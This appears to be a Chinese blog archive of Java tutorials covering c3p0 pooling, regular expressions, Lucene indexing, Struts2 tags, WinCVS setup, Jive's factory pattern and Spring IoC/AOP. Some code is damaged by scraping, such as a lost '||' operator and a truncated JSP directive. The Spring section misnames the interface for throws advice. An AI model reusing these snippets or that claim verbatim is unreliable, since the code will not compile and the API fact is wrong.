2008年4月13日
#
c3p0很容易使用的开源专业级jdbc数据库缓冲池。
它是sourceforge上的一个开源项目,
项目在
http://sourceforge.net/projects/c3p0
他的众多特性这里就不一一介绍了。
比较爽的一点就是
当Connection归还缓冲池时,c3p0会很小心的关闭
这条连接打开的Statement和ResultSet,免去了使用时
自己动手小心翼翼的关闭。
c3p0使用非常简单,这里给一个例子
package common.db;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.mchange.v2.c3p0.DataSources;
public final class ConnectionManager {
private static ConnectionManager instance;
public ComboPooledDataSource ds;
private static String c3p0Properties="c3p0.properties";
private ConnectionManager() throws Exception {
Properties p = new Properties();
p.load(this.getClass().getResourceAsStream(c3p0Properties));
ds = new ComboPooledDataSource();
}
public static final ConnectionManager getInstance() {
if (instance == null) {
try {
instance = new ConnectionManager();
} catch (Exception e) {
e.printStackTrace();
}
}
return instance;
}
public synchronized final Connection getConnection() {
try {
return ds.getConnection();
} catch (SQLException e) {
e.printStackTrace();
}
return null;
}
protected void finalize() throws Throwable {
DataSources.destroy(ds); //关闭datasource
super.finalize();
}
}
然后在ConnectionManager类的目录下再创建一个配置文件c3p0.properties
内容如下:
#db login parameters
driverClass=com.mysql.jdbc.Driver
jdbcUrl=jdbc:mysql://localhost/test?useUnicode=no&characterEncoding=GBK
user=test
password=test
#pool parameters
initialPoolSize=2
maxPoolSize=5
#maxIdleTime=10
#idleConnectionTestPeriod=5
autoCommitOnClose=true
完整的配置文件参数参看c3p0的文档
使用connection时很简单
Connection conn = ConnectionManager.getInstance().getConnection();
...
最后 conn.close() 即可,
如题。研究中...以前没有注意过。
*匹配除了换行之外的所有字符
合法IP的正则表达式 ((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
\s匹配任意的空白符、(空格、制表符、换行符、中文全角空格)
\w匹配字母或数字或下划线或汉字
表1.常用的元字符代码 | 说明 |
---|
. | 匹配除换行符以外的任意字符 |
\w | 匹配字母或数字或下划线或汉字 |
\s | 匹配任意的空白符 |
\d | 匹配数字 |
\b | 匹配单词的开始或结束 |
^ | 匹配字符串的开始 |
$ | 匹配字符串的结束 |
表2.常用的限定符代码/语法 | 说明 |
---|
* | 重复零次或更多次 |
+ | 重复一次或更多次 |
? | 重复零次或一次 |
{n} | 重复n次 |
{n,} | 重复n次或更多次 |
{n,m} | 重复n到m次 |
后向引用
使用小括号指定一个子表达式后,匹配这个子表达式的文本(也就是此分组捕获的内容)可以在表达式或其它程序中作进一步的处理。默认情况下,每个分组会自动拥有一个组号,规则是:从左向右,以分组的左括号为标志,第一个出现的分组的组号为1,第二个为2,以此类推。
后向引用用于重复搜索前面某个分组匹配的文本。例如,\1代表分组1匹配的文本。难以理解?请看示例:
\b(\w+)\b\s+\1\b可以用来匹配重复的单词,像go go, 或者kitty kitty。这个表达式首先是一个单词,也就是单词开始处和结束处之间的多于一个的字母或数字(\b(\w+)\b),这个单词会被捕获到编号为1的分组中,然后是1个或几个空白符(\s+),最后是分组1中捕获的内容(也就是前面匹配的那个单词)(\1)。
你也可以自己指定子表达式的组名。要指定一个子表达式的组名,请使用这样的语法:(?<Word>\w+)(或者把尖括号换成'也行:(?'Word'\w+)),这样就把\w+的组名指定为Word了。要反向引用这个分组捕获的内容,你可以使用\k<Word>,所以上一个例子也可以写成这样:\b(?<Word>\w+)\b\s+\k<Word>\b。
使用小括号的时候,还有很多特定用途的语法。下面列出了最常用的一些:
表4.常用分组语法分类 | 代码/语法 | 说明 |
---|
捕获 | (exp) | 匹配exp,并捕获文本到自动命名的组里 |
---|
(?<name>exp) | 匹配exp,并捕获文本到名称为name的组里,也可以写成(?'name'exp) |
(?:exp) | 匹配exp,不捕获匹配的文本,也不给此分组分配组号 |
零宽断言 | (?=exp) | 匹配exp前面的位置 |
---|
(?<=exp) | 匹配exp后面的位置 |
(?!exp) | 匹配后面跟的不是exp的位置 |
(?<!exp) | 匹配前面不是exp的位置 |
注释 | (?#comment) | 这种类型的分组不对正则表达式的处理产生任何影响,用于提供注释让人阅读 |
---|
表5.懒惰限定符代码/语法 | 说明 |
---|
*? | 重复任意次,但尽可能少重复 |
+? | 重复1次或更多次,但尽可能少重复 |
?? | 重复0次或1次,但尽可能少重复 |
{n,m}? | 重复n到m次,但尽可能少重复 |
{n,}? | 重复n次以上,但尽可能少重复 |
表6.常用的处理选项名称 | 说明 |
---|
IgnoreCase(忽略大小写) | 匹配时不区分大小写。 |
Multiline(多行模式) | 更改^和$的含义,使它们分别在任意一行的行首和行尾匹配,而不仅仅在整个字符串的开头和结尾匹配。(在此模式下,$的精确含意是:匹配\n之前的位置以及字符串结束前的位置.) |
Singleline(单行模式) | 更改.的含义,使它与每一个字符匹配(包括换行符\n)。 |
IgnorePatternWhitespace(忽略空白) | 忽略表达式中的非转义空白并启用由#标记的注释。 |
RightToLeft(从右向左查找) | 匹配从右向左而不是从左向右进行。 |
ExplicitCapture(显式捕获) | 仅捕获已被显式命名的组。 |
ECMAScript(JavaScript兼容模式) | 使表达式的行为与它在JavaScript里的行为一致。 |
表7.尚未详细讨论的语法代码/语法 | 说明 |
---|
\a | 报警字符(打印它的效果是电脑嘀一声) |
\b | 通常是单词分界位置,但如果在字符类里使用代表退格 |
\t | 制表符,Tab |
\r | 回车 |
\v | 竖向制表符 |
\f | 换页符 |
\n | 换行符 |
\e | Escape |
\0nn | ASCII代码中八进制代码为nn的字符 |
\xnn | ASCII代码中十六进制代码为nn的字符 |
\unnnn | Unicode代码中十六进制代码为nnnn的字符 |
\cN | ASCII控制字符。比如\cC代表Ctrl+C |
\A | 字符串开头(类似^,但不受处理多行选项的影响) |
\Z | 字符串结尾或行尾(不受处理多行选项的影响) |
\z | 字符串结尾(类似$,但不受处理多行选项的影响) |
\G | 当前搜索的开头 |
\p{name} | Unicode中命名为name的字符类,例如\p{IsGreek} |
(?>exp) | 贪婪子表达式 |
(?<x>-<y>exp) | 平衡组 |
(?im-nsx:exp) | 在子表达式exp中改变处理选项 |
(?im-nsx) | 为表达式后面的部分改变处理选项 |
(?(exp)yes|no) | 把exp当作零宽正向先行断言,如果在这个位置能匹配,使用yes作为此组的表达式;否则使用no |
(?(exp)yes) | 同上,只是使用空表达式作为no |
(?(name)yes|no) | 如果命名为name的组捕获到了内容,使用yes作为表达式;否则使用no |
(?(name)yes) | 同上,只是使用空表达式作为no |
Lucene是一个高性能的java全文检索工具包,它使用的是倒排文件索引结构。该结构及相应的生成算法如下:
0)设有两篇文章1和2
文章1的内容为:Tom lives in Guangzhou,I live in Guangzhou too.
文章2的内容为:He once lived in Shanghai.
1)由于lucene是基于关键词索引和查询的,首先我们要取得这两篇文章的关键词,通常我们需要如下处理措施
a.我们现在有的是文章内容,即一个字符串,我们先要找出字符串中的所有单词,即分词。英文单词由于用空格分隔,比较好处理。中文单词间是连在一起的需要特殊的分词处理。
b.文章中的”in”, “once” “too”等词没有什么实际意义,中文中的“的”“是”等字通常也无具体含义,这些不代表概念的词可以过滤掉
c.用户通常希望查“He”时能把含“he”,“HE”的文章也找出来,所以所有单词需要统一大小写。
d.用户通常希望查“live”时能把含“lives”,“lived”的文章也找出来,所以需要把“lives”,“lived”还原成“live”
e.文章中的标点符号通常不表示某种概念,也可以过滤掉
在lucene中以上措施由Analyzer类完成
经过上面处理后
文章1的所有关键词为:[tom] [live] [guangzhou] [i] [live] [guangzhou]
文章2的所有关键词为:[he] [live] [shanghai]
2) 有了关键词后,我们就可以建立倒排索引了。上面的对应关系是:“文章号”对“文章中所有关键词”。倒排索引把这个关系倒过来,变成:“关键词”对“拥有该关键词的所有文章号”。文章1,2经过倒排后变成
关键词 文章号
guangzhou 1
he 2
i 1
live 1,2
shanghai 2
tom 1
通常仅知道关键词在哪些文章中出现还不够,我们还需要知道关键词在文章中出现次数和出现的位置,通常有两种位置:a)字符位置,即记录该词是文章中第几个字符(优点是关键词亮显时定位快);b)关键词位置,即记录该词是文章中第几个关键词(优点是节约索引空间、词组(phase)查询快),lucene中记录的就是这种位置。
加上“出现频率”和“出现位置”信息后,我们的索引结构变为:
关键词 文章号[出现频率] 出现位置
guangzhou 1[2] 3,6
he 2[1] 1
i 1[1] 4
live 1[2],2[1] 2,5,2
shanghai 2[1] 3
tom 1[1] 1
以live 这行为例我们说明一下该结构:live在文章1中出现了2次,文章2中出现了一次,它的出现位置为“2,5,2”这表示什么呢?我们需要结合文章号和出现频率来分析,文章1中出现了2次,那么“2,5”就表示live在文章1中出现的两个位置,文章2中出现了一次,剩下的“2”就表示live是文章2中第 2个关键字。
以上就是lucene索引结构中最核心的部分。我们注意到关键字是按字符顺序排列的(lucene没有使用B树结构),因此lucene可以用二元搜索算法快速定位关键词。
实现时 lucene将上面三列分别作为词典文件(Term Dictionary)、频率文件(frequencies)、位置文件 (positions)保存。其中词典文件不仅保存有每个关键词,还保留了指向频率文件和位置文件的指针,通过指针可以找到该关键字的频率信息和位置信息。
Lucene中使用了field的概念,用于表达信息所在位置(如标题中,文章中,url中),在建索引中,该field信息也记录在词典文件中,每个关键词都有一个field信息(因为每个关键字一定属于一个或多个field)。
为了减小索引文件的大小,Lucene对索引还使用了压缩技术。首先,对词典文件中的关键词进行了压缩,关键词压缩为<前缀长度,后缀>,例如:当前词为“阿拉伯语”,上一个词为“阿拉伯”,那么“阿拉伯语”压缩为<3,语>。其次大量用到的是对数字的压缩,数字只保存与上一个值的差值(这样可以减小数字的长度,进而减少保存该数字需要的字节数)。例如当前文章号是16389(不压缩要用3个字节保存),上一文章号是16382,压缩后保存7(只用一个字节)。
下面我们可以通过对该索引的查询来解释一下为什么要建立索引。
假设要查询单词 “live”,lucene先对词典二元查找、找到该词,通过指向频率文件的指针读出所有文章号,然后返回结果。词典通常非常小,因而,整个过程的时间是毫秒级的。
而用普通的顺序匹配算法,不建索引,而是对所有文章的内容进行字符串匹配,这个过程将会相当缓慢,当文章数目很大时,时间往往是无法忍受的。
一、 写jsp页面的时候,在struts2中,用的是s标记,先引入标记: <%@ taglib prefix="s" uri="/struts-tags"%> 二、 struts2的标签和1是完全不同的。 struts2的标签分为两大类:非UI标志和UI标志 struts1 将标志库按功能分成HTML、Tiles、Logic和Bean等几部分 下面就介绍strut2的具体标签: 1、UI UI标志又可以分为表单UI和非表单UI两部分。表单UI部分基本与Struts 1.x相同,都是对HTML表单元素的包装。不过,Struts 2.0加了几个我们经常在项目中用到的控件如:datepicker、doubleselect、timepicker、optiontransferselect等。因为这些标志很多都经常用到,而且参数也很多,要在一篇文章详细说明并非易事。 下面主要是ui标签的一些用法 form: <s:form action="exampleSubmit" method="post" enctype="multipart/form-data"> <s:submit /> <s:reset />
</s:form>可以上传文件的form。 textfield: <s:textfield label="姓名:" name="name" tooltip="Enter your Name here" /> datepicker: <s:datepicker tooltip="Select Your Birthday" label="生日" name="birthday" /> textarea: <s:textarea tooltip="Enter your remart" label="备注" name="remart" cols="20" rows="3"/> select: <s:select tooltip="Choose user_type" label="" list="#{'free':'免费','vip':'收费'}" value="#{'free':'免费'}" name="bean.user_type" emptyOption="true" headerKey="None" headerValue="None"/> <s:select tooltip="Choose user_type" label="" list="#{'free':'免费','vip':'收费'}" value="#{'free':'免费'}" name="bean.user_type" emptyOption="true" headerKey="None" headerValue="None"/> <s:select list="venderList" listKey="id" listValue="name" value="%{profile.companyName}" name="companyName" cssClass="sel_style_w_180"/> 挺好用的 checkboxlist: <s:checkboxlist tooltip="Choose your Friends" label="朋友" list="{'Patrick', 'Jason', 'Jay', 'Toby', 'Rene'}" name="friends"/> checkbox: <s:checkbox tooltip="Confirmed that your are Over 18" label="年龄" name="legalAge" value="18"/> file: <s:file tooltip="Upload Your Picture" label="Picture" name="picture" /> a: <s:a href="getP.jsp">超链接提交</s:a> date : <s:date name="ad_end_time" format="yyyy-MM-dd"/>
2、非UI if、elseif和else 描述: 执行基本的条件流转。 参数: 名称必需默认类型描述备注test是Boolean决定标志里内容是否显示的表达式else标志没有这个参数id否Object/String用来标识元素的id。在UI和表单中为HTML的id属性 例子: <%@ page c %> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Condition Flow</title> </head> <body> <h3>Condition Flow</h3> <!-- 这里有点小技巧: 本来可以用#parameters.name[0]来获得,请求中name的值。但是,在我实现include例子时, 无论我用param标志给name赋任何值,#parameters里面不会含有任何值,所以#parameters.name也为空值。 其原因为: 当使用include标志时,被包含的页面(included)里#parameters拿到的是包含页面里的请求参数。 因此,这里必须手工调用request.getParameter("name")。 --> <s:iterator value="linkList" status="bean"> <tr> <td class="data_tab_tdcl"> <s:property value="#bean.Index+1" /> </td> <td class="data_tab_tdcl"><s:property value="link_title" /></td> <td class="data_tab_tdcl"><s:property value="link_url" /></td> <td class="data_tab_tdcl"> <s:if test="link_type == 1"> 文字 </s:if> <s:elseif test="link_type == 2"> 图片 </s:elseif> <s:else> ----- </s:else> </td>
</body> </html> 例1 condition.jsp iterator 描述: 用于遍历集合(java.util.Collection)或枚举值(java.util.Iterator)。 参数: 名称必需默认类型描述status否String如果设置此参数,一个IteratorStatus的实例将会压入每个遍历的堆栈value否Object/String要遍历的可枚举的(iteratable)数据源,或者将放入新列表(List)的对象id否Object/String用来标识元素的id。在UI和表单中为HTML的id属性 例子: <%@ page c %> <%@ page import="java.util.List" %> <%@ page import="java.util.ArrayList" %> <%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <% List list = new ArrayList(); list.add("Max"); list.add("Scott"); list.add("Jeffry"); list.add("Joe"); list.add("Kelvin"); request.setAttribute("names", list); %> <html> <head> <title>Iterator</title> </head> <body> <h3>Names: </h3> <!-- 1、此处的空property元素用于获得当前iterator的值 2、status被设成stuts,在iterator的里面就可以通过#stuts取得IteratorStatus的对象。IteratorStatus类包含当前序号信息,如是否第一个或最后一个,是否为奇数序号。这些信息在我们做格式化的时候,显得非常有用。 --> <ol> <s:iterator value="#request.names" status="stuts"> <s:if test="#stuts.odd == true"> <li>White <s:property /></li> </s:if> <s:else> <li style="background-color:gray"><s:property /></li> </s:else> </s:iterator> </ol> </body> </html>
|
摘要: EJB
方面
94
、
EJB2.0
...
阅读全文
在我装完Wincvs之后,提示我没有安装python,但后来我又装了python2.4,可Wincvs还是说配置不对.到底要怎么配置python呢?期待着您的回复,谢谢你了!
TCL or Python are not available, shell is disabled。 |
有的网友说是版本的问题,我今天安装时也是一样,装了好三四个版本,都一样,最后在CSDN上找到了答案。
解决办法:
在admin-〉Preferences->wincvs中有关于python的设置,
其中python是指你的python虚拟机的位置,一般是python2X.dll的位置。在你来说就是python24.dll的位置,一般这个文件会在你的系统文件中找到。
Tcl则一般会在python文件架的dlls子文件架中找到,一般名称为tclxx.dll,在你大概就是tcl84.dll。如果是安装python2.3版本的话,会自动找到,不需要设置。
设置好了,WinCVS输出窗口:
Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)] on win32Tk is available, Tk-macros are enabledTCL is available, shell is enabled : help (select and press enter) |
AbstractFactory模式和可扩展性
假如要实现较好的可扩展性,AbstractFactory模式确实是一件利器。如上面所说,假如要创建的Forum接口的不同实现,而又不想更改代码的话,就需要用到抽象工厂了。再Jive中,AuthorizationFactory类是一个抽象类,用来创建Authorization对象。这是一个抽象工厂,可以通过不同的子类来创建不同的Authorization对象。这个工厂的实现方法是:
在AuthorizationFactory中使用一个private static变量factory,用来引用具体的抽象工厂的实例:
private static AuthorizationFactory factory = null;
用一个private static的String,来指明具体的抽象工厂的子类类名:
private static String className ="com.coolservlets.forum.database.DbAuthorizationFactory";
然后是用一个private static的loadAuthorizationFactory方法来给这个factory变量赋值,生成具体的抽象工厂类:
private static void loadAuthorizationFactory() {
if (factory == null) {
synchronized(className) {
if (factory == null) {
String classNameProp = PropertyManager.getProperty(
"AuthorizationFactory.className"
);
if (classNameProp != null) {
className = classNameProp;
}
try {
Class c = Class.forName(className);
factory = (AuthorizationFactory)c.newInstance();
}
catch (Exception e) {
System.err.println("Exception loading class: " + e);
e.printStackTrace();
}
}
}
}
}
在static的getAuthorization方法返回一个Authorization的过程中,先初始化工厂类factory变量,然后用factory的createAuthorization方法来创建:
public static Authorization getAuthorization(String username,
String passWord) throws UnauthorizedException
{
loadAuthorizationFactory();
return factory.createAuthorization(username, password);
}
不同的子类有不同的createAuthorization方法的实现。比如在DbAuthorizationFactory这个AuthorizationFactory的数据库实现子类中,createAuthorization方法是这样实现的:
public Authorization createAuthorization(String username, String password)
throws UnauthorizedException
{
if (username == null password == null) {
throw new UnauthorizedException();
}
password = StringUtils.hash(password);
int userID = 0;
Connection con = null;
PreparedStatement pstmt = null;
try {
con = DbConnectionManager.getConnection();
pstmt = con.prepareStatement(AUTHORIZE);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
if (!rs.next()) {
throw new UnauthorizedException();
}
userID = rs.getInt(1);
}
catch( SQLException sqle ) {
System.err.println("Exception in DbAuthorizationFactory:" + sqle);
sqle.printStackTrace();
throw new UnauthorizedException();
}
finally {
try { pstmt.close(); }
catch (Exception e) { e.printStackTrace(); }
try { con.close(); }
catch (Exception e) { e.printStackTrace(); }
}
return new DbAuthorization(userID);
}
在这个类中,可以看到抽象类和具体的子类之间的关系,它们是如何协作的,又是如何划分抽象方法和非抽象方法的,这都是值得注重的地方。一般的,抽象方法需要子类来实现,而抽象类中的非抽象方法应该所有子类所能够共享的,或者可是说,是定义在抽象方法之上的较高层的方法。这确实是一个抽象工厂的好例子!虽然实现的方法已经和GOF中给出的实现相差较远了,但思想没变,这儿的实现,也确实是要巧妙的些。
还有就是静态方法的使用,使得这个类看起来有些Singleton的意味。这使得对于AbstractFactory的创建变得简单。
在AuthorizationFactory中定义的其它方法,涉及到具体的如何创建Authorization,都是作为abstract方法出现,具体实现留给子类来完成。
这样,在需要生成一个Authorization的时候,只需要调用AuthorizationFactory的静态方法getAuthorization就可以了,由子类实现了具体的细节。
其它的,如同上面讲到的,在创建Forum的时候用的ForumFactory,具有同上面一样的实现,这就是模式之所以称为模式的所在了。
资料引用:http://www.knowsky.com/365144.html
题目: IOC 后台机制学习
给定:
配置文件 config.txt, 文件内容
className = test.JavaBean1
field = username
value = ABC
该文件中的三个值会随时可能变化, 唯一不变的是 className 指定的都是一个 JavaBean(为了简化, 我们假定里面已经有一个 username 属性, 例如:
class JavaBeanxxxx {
private String username;
public String getUsername() {
return username;
}
public void setUsername(String uname) {
this.username = uname;
}
}
要求: 写一段代码, 读取配置文件 config.txt, 然后实现把 className 指定的 JavaBean 类加载(注意这个类名是可以修改的, 可配置的), 然后生成一个实例,
并把配置文件中field字段指定的值作为这个实例的属性名(这里是username)所对应的值设置为 ABC(字符串), 并且要读出最后设置的值.
此题已经被 TigerTian 解答出来, 欢迎学习, 也感谢 TigerTian:
package com.gcoresoft.ioc;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.beans.*;
public class IOCStudy {
//Load the properties file
private Properties prop=new Properties();
public void loadPropFile(String filename)
{
try
{
FileInputStream fin=new FileInputStream(filename);
prop.load(fin);
fin.close();
}catch(Exception e){
System.out.println(e.toString());
}
}
private String getValueByName(String Name)
{
return prop.getProperty(Name);
}
public static void main(String[] args)
{
IOCStudy ioc=new IOCStudy();
ioc.loadPropFile("E:\\Work\\GetInIOC\\src\\com\\gcoresoft\\ioc\\Config.txt");
try
{
Class bean=Class.forName(ioc.getValueByName("className"));
try {
java.beans.BeanInfo info=java.beans.Introspector.getBeanInfo(bean);
java.beans.PropertyDescriptor pd[]=info.getPropertyDescriptors();
try {
Method mSet=null,mRead=null;
Object obj=bean.newInstance();
for(int i=0;i<pd.length;i++)
if(pd[i].getName().equalsIgnoreCase(ioc.getValueByName("field")))
{
mSet=pd[i].getWriteMethod();
mRead=pd[i].getReadMethod();
}
try {
mSet.invoke(obj, ioc.getValueByName("value"));
String str=(String)mRead.invoke(obj, null);
System.out.println(str);
} catch (IllegalArgumentException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InvocationTargetException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (InstantiationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IllegalAccessException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (IntrospectionException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}catch(ClassNotFoundException e){
System.out.println(e.toString());
}
}
}
引言
在J2EE的整个发展历程中,现在正是一个非常时刻。从很多方面来说,J2EE都是一个伟大的成功:它成功地在从前没有标准的地方建立了标准;大大提升了企业级软件的开放程度,并且得到了整个行业和开发者的广泛认可。然而,J2EE在一些方面已经开始捉襟见肘。J2EE应用开发的成本通常很高。J2EE应用项目至少和从前的非J2EE项目一样容易失败——如果不是更容易失败的话。这样的失败率高得让人难以接受。在这样的失败率之下,软件开发几乎变成了碰运气。而在J2EE遭遇失败的场景中,EJB通常都扮演着重要的角色。因此,J2EE社群不断地向着更简单的解决方案、更少使用EJB的方向发展
[1]。然而,每个应用程序都需要一些基础设施,拒绝使用EJB并不意味着拒绝EJB所采用的基础设施解决方案。那么,如何利用现有的框架来提供这些基础设施服务呢,伴随着这个问题的提出,一个轻量级的J2EE解决方案出现了,这就是Spring Framework。
Spring是为简化企业级系统开发而诞生的,Spring框架为J2EE应用常见的问题提供了简单、有效的解决方案,使用Spring,你可以用简单的POJO(Plain Old Java Object)来实现那些以前只有EJB才能实现的功能。这样不只是能简化服务器端开发,任何Java系统开发都能从Spring的简单、可测试和松耦合特征中受益。可以简单的说,Spring是一个轻量级的反向控制(IoC)和面向切面编程(AOP)容器框架
[3]。Spring IoC,借助于依赖注入设计模式,使得开发者不用理会对象自身的生命周期及其关系,而且能够改善开发者对J2EE模式的使用;Spring AOP,借助于Spring实现的拦截器,开发者能够实现以声明的方式使用企业级服务,比如安全性服务、事务服务等。Spring IoC和 Spring ; AOP组合,一起形成了Spring,这样一个有机整体,使得构建轻量级的J2EE架构成为可能,而且事实证明,非常有效。
没有Spring IoC的Spring AOP是不完善的,没有Spring AOP的Spring IoC是不健壮的。本文是以Spring架构的成功的实际商务系统项目为背景,阐述了反向控制原理和面向切面的编程技术在Spring框架中的应用,同时抽取适量代码示意具体应用,并和传统开发模式进行对比,展示了Spring framework的简单,高效,可维护等优点。
1、Spring IoC 1.1 反向控制原理 反向控制是Spring框架的核心。但是,反向控制是什么意思?到底控制的什么方面被反向了呢?2004年美国专家Martin Fowler发表了一篇论文《Inversion of Control Containers and the Dependency Injection pattern》阐述了这个问题,他总结说是获得依赖对象的方式反向了,根据这个启示,他还为反向控制提出了一个更贴切的名字:Dependency Injection(DI 依赖注入)。
通常,应用代码需要告知容器或框架,让它们找到自身所需要的类,然后再由应用代码创建待使用的对象实例。因此,应用代码在使用实例之前,需要创建对象实例。然而,IoC模式中,创建对象实例的任务交给IoC容器或框架(实现了IoC设计模式的框架也被称为IoC容器),使得应用代码只需要直接使用实例,这就是IoC。相对IoC 而言,“依赖注入”的确更加准确的描述了这种设计理念。所谓依赖注入,即组件之间的依赖关系由容器在运行期决定,形象的来说,即由容器动态的将某种依赖关系注入到组件之中。
1.2 IoC在Spring中的实现
任何重要的系统都需要至少两个相互合作的类来完成业务逻辑。通常,每个对象都要自己负责得到它的合作(依赖)对象。你会发现,这样会导致代码耦合度高而且难于测试。使用IoC,对象的依赖都是在对象创建时由负责协调系统中各个对象的外部实体提供的,这样使软件组件松散连接成为可能。下面示意了Spring IoC 应用,步骤如下:
(1)定义Action接口,并为其定义一个execute方法,以完成目标逻辑。多年前,GoF在《Design Pattern:Elements of Reusable Object-Oriented Software》一书中提出“Programming to an Interface,not an implementation”的原则,这里首先将业务对象抽象成接口,正是为了实施这个原则。
(2)类UpperAction实现Action接口,在此类中,定义一个String型的域message,并提供相应的setter和getter方法,实现的execute方法如下:
public String execute (String str) { return (getMessage () + str).toUpperCase () ; } |
(3)编写Spring配置文件(bean.xml)
<beans> <bean id="TheAction" class="net.chen.spring.qs.UpperAction"> <property name="message"> <value>HeLLo</value> </property> </bean> </beans> |
(4)测试代码
public void testQuickStart () { ApplicationContext ctx=new FileSystemXmlApplicationContext ("bean.xml"); Action a= (Action) ctx.getBean ("TheAction"); System.out.println (a. execute ("Rod Johnson")); } |
上面的测试代码中,我们根据"bean.xml"创建了一个ApplicationContext实例,并从此实例中获取我们所需的Action实现,运行测试代码,我们看到控制台输出:
仔细观察一下上面的代码,可以看到:
(1)我们的组件并不需要实现框架指定的接口,因此可以轻松的将组件从Spring中脱离,甚至不需要任何修改,这在基于EJB框架实现的应用中是难以想象的。
(2)组件间的依赖关系减少,极大改善了代码的可重用性。Spring的依赖注入机制,可以在运行期为组件配置所需资源,而无需在编写组件代码时就加以指定,从而在相当程度上降低了组件之间的耦合。
Spring给我们带来了如此这般的好处,那么,反过来,让我们试想一下,如果不使用Spring框架,回到我们传统的编码模式,情况会是怎样呢?
首先,我们必须编写一个配置文件读取类,以实现Message属性的可配置化。
其次,得有一个Factory模式的实现,并结合配置文件的读写完成Action的动态加载。于是,我们实现了一个ActionFactory来实现这个功能:
public class ActionFactory { public static Action getAction (String actionName) {Properties pro = new Properties (); try { pro.load (new FileInputStream ("config.properties")); String actionImplName =(String)pro.get(actionName); String actionMessage =(String) pro.get (actionName+"_msg"); Object obj =Class.forName (actionImplName).newInstance (); BeanUtils.setProperty(obj,"message",actionMessage); return (Action) obj; } catch (FileNotFoundException e) { …… } } |
配置文件则采用properties文件形式如下所示:
TheAction=net.chen.spring.qs.UpperAction TheAction_msg=HeLLo |
测试代码也作相应修改。现在不论实现的好坏,总之通过上面新增的多行代码,终于实现了类似的功能。如果现在有了一个新的需求,这样这个ActionFactory每次都新建一个类的实例,显然这对系统性能不利,考虑到我们的两个Action都是线程安全的,修改一下ActionFactory,保持系统中只有一个Action实例供其它线程调用。另外Action对象创建后,需要做一些初始化工作。修改一下ActionFactory,使其在创建Action实例之后,随即就调用Action.init方法执行初始化。Action的处理这样就差不多了。下面我们来看看另外一个Factory
……
往往这些系统开发中最常见的需求,会导致我们的代码迅速膨胀,而Spring IoC的出现,则大大缓解了这样的窘境。通过以上实例,可以看出,Spring IoC为我们提供了如下几方面的优势:
(1)应用组件不需要在运行时寻找其协作者,因此更易于开发和编写应用;
(2)由于借助于IoC容器管理组件的依赖关系,使得应用的单元测试和集成测试更利于展开;
(3)通常,在借助于IoC容器关系业务对象的前提下,很少需要使用具体IoC容器提供的API,这使得集成现有的遗留应用成为可能。
因此,通过使用IoC能够降低组件之间的耦合度,最终,能够提高类的重用性,利于测试,而且更利于整个产品或系统集成和配置。
2、Spring AOP
2.1 面向切面编程基础
通常,系统由很多组件组成,每个组件负责一部分功能,然而,这些组件也经常带有一些除了核心功能之外的附带功能 。系统服务如日志、事务管理和安全经常融入到一些其他功能模块中。这些系统服务通常叫做交叉业务,这是因为它们总是分布在系统的很多组件中。通过将这些业务分布在多个组件中,给我们的代码引入了双重复杂性。
(1) 实现系统级业务的代码在多个组件中复制。这意味着如果你要改变这些业务逻辑,你就必须到各个模块去修改。就算把这些业务抽象成一个独立模块,其它模块只是调用它的一个方法,但是这个方法调用也还是分布在很多地方。
(2) 组件会因为那些与自己核心业务无关的代码变得杂乱。一个向地址录中添加条目的方法应该只关心如何添加地址,而不是关心它是不是安全或支持事务的。
此时,我们该怎么办呢?这正是AOP用得着的地方。AOP帮助我们将这些服务模块化,并把它们声明式地应用在需要它们的地方,使得这些组件更加专注于自身业务,完全不知道其它涉及到的系统服务。
这里的概念切面,就是我们要实现的交叉功能,是应用系统模块化的一个方面或领域。切面的最常见例子就是日志记录。日志记录在系统中到处需要用到,利用继承来重用日志模块是不合适的,这样,就可以创建一个日志记录切面,并且使用AOP在系统中应用。下图展示了切面应用方式
图表 1 应用切面
其中,通知Advice是切面的实际实现。连接点Joinpoint是应用程序执行过程中插入切面的地点,这个地点可以是方法调用,异常抛出,甚至可以是要修改的字段,切面代码在这些地方插入到你的应用流程中,添加新的行为。切入点Pointcut定义了Advice应该应用在那些连接点,通常通过指定类名和方法名,或者匹配类名和方法名式样的正则表达式来指定切入点。
2.2 AOP在Spring中的实现
基于AOP,业界存在各种各样的AOP实现,比如,JBoss AOP、Spring AOP、AspectJ、Aspect Werkz等。各自实现的功能也不一样。AOP实现的强弱在很大程度上取决于连接点模型。目前,Spring只支持方法级的连接点。这和一些其他AOP框架不一样,如AspectJ和JBoss,它们还提供了属性接入点,这样可以防止你创建特别细致的通知,如对更新对象属性值进行拦截。然而,由于Spring关注于提供一个实现J2EE服务的框架,所以方法拦截可以满足大部分要求,而且Spring的观点是属性拦截破坏了封装,让Advice触发在属性值改变而不是方法调用上无疑是破坏了这个概念。
Spring的AOP框架的关键点如下:
(1)Spring实现了AOP联盟接口。在Spring AOP中,存在如下几种通知(Advice)类型
Before通知:在目标方法被调用前调用,涉及接口org.springframework.aop.MethodBeforeAdvice;
After通知:在目标方法被调用后调用,涉及接口为org.springframework.aop.AfterReturningAdvice;
Throws通知:目标方法抛出异常时调用,涉及接口org.springframework.aop.MethodBeforeAdvice;
Around通知:拦截对目标对象方法调用,涉及接口为org.aopalliance.intercept.MethodInterceptor。
(2)用java编写Spring通知,并在Spring的配置文件中,定义在什么地方应用通知的切入点。
